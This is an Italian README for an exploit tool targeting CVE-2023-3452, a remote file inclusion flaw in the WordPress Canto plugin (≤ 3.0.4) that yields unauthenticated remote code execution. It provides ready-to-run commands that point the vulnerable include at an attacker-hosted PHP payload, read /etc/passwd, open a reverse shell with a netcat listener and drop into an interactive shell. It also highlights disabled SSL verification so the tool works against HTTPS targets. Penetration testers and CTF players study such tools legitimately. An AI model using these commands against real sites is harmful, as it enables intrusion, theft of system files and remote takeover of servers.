
CVE-2023-3452 exploit per plugin WordPress Canto RCE, supporto HTTPS incluso
Exploit per il Plugin Canto di WordPress (≤ 3.0.4) vulnerabilità RFI. Funziona effettivamente su HTTPS — gli altri PoC pubblici hanno rinunciato all'SSL.
Crediti dove meritano: questa CVE è stata trovata da altri. Ho solo creato una versione che non si blocca sui target HTTPS.
| CVE | CVE-2023-3452 |
| EDB-ID | 51826 |
| Type | Inclusione Remota di File (RFI) → RCE non autenticata |
| Affected | Plugin Canto di WordPress < 3.0.5 (≤ 3.0.4) |
| Disclosed by | Leopoldo Angulo (leoanggal1) — 2024-02-27 |
| Location | /wp-content/plugins/canto/includes/lib/download.php |
| Vector | wp_abspath viene usato per includere file PHP senza alcuna validazione — includiamo il nostro da remoto. |
La maggior parte degli exploit per questa CVE si bloccano su HTTPS a causa della verifica SSL. Questo script:
verify=False così i target HTTPS funzionano effettivamenterequestspip install -r requirements.txt
O semplicemente: pip install requests
python3 canto_exploit.py -t <TARGET_URL> -l <LHOST> -p <LPORT> [OPTIONS]
| Option | Description | Required |
|---|---|---|
-t, --target | URL del target WordPress (HTTP o HTTPS) | Yes |
-l, --lhost | Il tuo IP — il target deve poterlo raggiungere per il payload | Yes |
-p, --lport | Porta del server payload (default: 8888) | No |
-c, --command | Comando da eseguire sul target | No* |
--revshell | Avvia una reverse shell | No |
--shell-port | Porta di ascolto per la reverse shell (default: 4444) | No |
-i, --interactive | Modalità shell interattiva | No |
-v, --verbose | Output aggiuntivo | No |
--skip-check | Salta il controllo della vulnerabilità | No |
* Nessun comando = esegue id; whoami; hostname come controllo di base
Comando singolo:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "id"
Leggi un file:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -c "cat /etc/passwd"
Reverse shell (esegui prima nc -lvnp 4444):
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 --revshell --shell-port 4444
Modalità interattiva:
python3 canto_exploit.py -t https://target.com -l 10.10.14.33 -p 8888 -i
Target CTF HTTPS:
python3 canto_exploit.py -t https://10.129.1.136 -l 10.10.14.33 -p 8888 -c "id"
/wp-content/plugins/canto/readme.txt, analizza la versione (≤ 3.0.4 = vulnerabile)wp-admin/admin.php che esegue il comando tramite system()download.php con wp_abspath=http://LHOST:LPORT in modo che includa il nostro PHP remotoLHOST:LPORT (per HTB/lab, è il tuo IP VPN)-p)Solo per test autorizzati e formazione. Toccate solo sistemi su cui siete autorizzati. Qualsiasi altra cosa è illegale.
MIT